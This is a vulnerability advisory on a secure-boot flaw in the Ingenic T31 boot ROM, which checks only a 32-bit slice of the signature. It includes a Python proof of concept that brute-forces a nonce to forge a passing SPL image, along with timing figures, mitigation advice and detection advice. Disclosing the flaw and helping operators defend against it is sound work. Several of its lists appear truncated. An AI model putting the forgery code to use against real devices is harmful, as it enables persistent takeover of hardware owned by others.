Single 32-bit word comparison during RSA-2048/SHA-256 SPL verification — effective security reduced to 32 bits
Discovered: March 2026 · Vendor notified: March 17, 2026 · CVE assigned: June 2026 · Published: July 31, 2026
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Physical (P) | SPI NOR write access required |
| Attack Complexity | Low (L) | Forgery is deterministic; ~3–4 minutes on commodity CPU |
| Privileges Required | None (N) | — |
| User Interaction | None (N) | — |
| Scope | Changed (C) | Boot ROM compromise impacts entire system |
| C/I/A | High / High / High | Full device takeover |
A conservative S:U reading scores 6.8 Medium. We recommend S:C because the vulnerable component (mask ROM) is outside the security scope of the impacted component.
The Ingenic T31 SoC boot ROM (mask ROM) implements secure boot verification of the SPL (Secondary Program Loader) image using RSA-2048 and SHA-256. Due to an implementation flaw in the flash-boot verification path, the boot ROM compares only a single 32-bit word of the RSA-derived output against a single 32-bit word of the SHA-256 payload digest, rather than comparing the full cryptographic data. This reduces the effective security of signature verification from 128 bits to 32 bits and allows a physically present attacker who can write to the SPI NOR boot media to forge a modified SPL image that passes secure boot verification without possession of the OEM signing key.
The vulnerability was confirmed by three independent methods:
The vulnerability is structural to the T31 boot ROM and applies uniformly to all T31 sub-variants; the sub-variant designation only reflects unrelated features such as imaging sensor support and package options.
The following demonstrates the 4-byte SHA-256 collision search used to forge an SPL image. The target word is derived from the vendor signature and the OEM public key. A 4-byte nonce is iterated until the first 32 bits of the payload hash match the target.
#!/usr/bin/env python3
"""T31 4-byte hash collision forgery — proof of concept."""
import hashlib
import struct
from pathlib import Path
def forge_collision(payload: bytes, target_word: int,
nonce_offset: int) -> int | None:
"""Find a 4-byte SHA-256 collision by brute-forcing a nonce."""
target_bytes = struct.pack('>I', target_word)
payload = bytearray(payload)
for nonce in range(2 ** 32):
struct.pack_into('<I', payload, nonce_offset, nonce)
if hashlib.sha256(bytes(payload)).digest()[0:4] == target_bytes:
return nonce
return None
# Usage:
# target = 0x3024cc99 # derived from vendor signature + OEM public key
# nonce = forge_collision(payload, target, nonce_offset=0x3290)Expected work factor: 2³¹ SHA-256 evaluations on average. On a 32-worker commodity CPU search at ~15 MH/s aggregate throughput, a working collision is found in 3–4 minutes. Each forgery attempt succeeds with probability ≈ 63% within 2³² iterations.
Because the vulnerability is in mask ROM, there is no in-field firmware-only mitigation. Practical risk reduction options for deployed fleets:
Affected vendors should reach out to Ingenic for silicon-level guidance.
A forged SPL image is, by construction, byte-different from any legitimately signed vendor image. Fleet operators can detect tampering by:
Signature validity alone does not indicate an authentic image. A byte-level comparison against the vendor image is required.
Discovered by Matt Davis (OpenSensor Engineering LLC) and Alfonso Gamboa — equal co-discovery.
Content editing and reporting validation by Josh at WLTechBlog.